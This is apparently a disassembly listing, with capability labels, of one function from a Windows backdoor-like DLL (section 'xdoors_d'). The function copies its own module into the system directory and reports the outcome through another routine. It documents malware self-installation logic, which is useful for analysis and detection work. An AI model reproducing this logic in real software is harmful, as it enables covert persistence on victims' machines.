Function at 0x1000d5b0
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x80f]
mov byte [ebp - 0x810], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x40
mov byte [ebp - 0x30c], bl
stosb byte es:[edi], al
pop edx
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x30b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x40f]
mov byte [ebp - 0x410], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x104
lea eax, [ebp - 0x30c]
push esi
push eax
push dword [section.xdoors_d]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000d65f
lea eax, [ebp + 0xc]
push 0x10016908
push eax
mov dword [ebp + 0xc], 0x10094d30
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x208]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x30c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
cmp eax, ebx
pop ecx
je 0x1000d69b
inc eax
push eax
lea eax, [ebp - 0x410]
push 0x10093664
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x208]
push 0x10094a48
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x208]
push ebx
push eax
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x30c]
push eax
je 0x1000d6f0
push 0x10094f64
jmp 0x1000d6f5
push 0x10094f44
lea eax, [ebp - 0x810]
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x810]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp + 0xc]
call fcn.100038ee
add esp, 0x10
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jne 0x1000d736
push 0x10094e54
jmp 0x1000d739
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push eax
call fcn.10004249
mov edi, eax
pop ecx
cmp edi, ebx
je 0x1000d807
call fcn.1000372b
lea eax, [ebp - 0x104]
push edi
push eax
lea eax, [ebp - 0x810]
push 0x10094f20
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x810]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp + 0xc]
call fcn.100038ee
lea eax, [ebp - 0x410]
push eax
push edi
call fcn.1000d10d
add esp, 0x18
cmp eax, 1
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x410]
push eax
jne 0x1000d7f4
lea eax, [ebp - 0x810]
push 0x10094ef0
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x810]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp + 0xc]
call fcn.100038ee
add esp, 0x10
push 1
pop eax
jmp 0x1000d842
lea eax, [ebp - 0x810]
push 0x10094ec8
push eax
call esi
add esp, 0x10
jmp 0x1000d81f
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x810]
push 0x10094ea0
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x810]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp + 0xc]
call fcn.100038ee
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret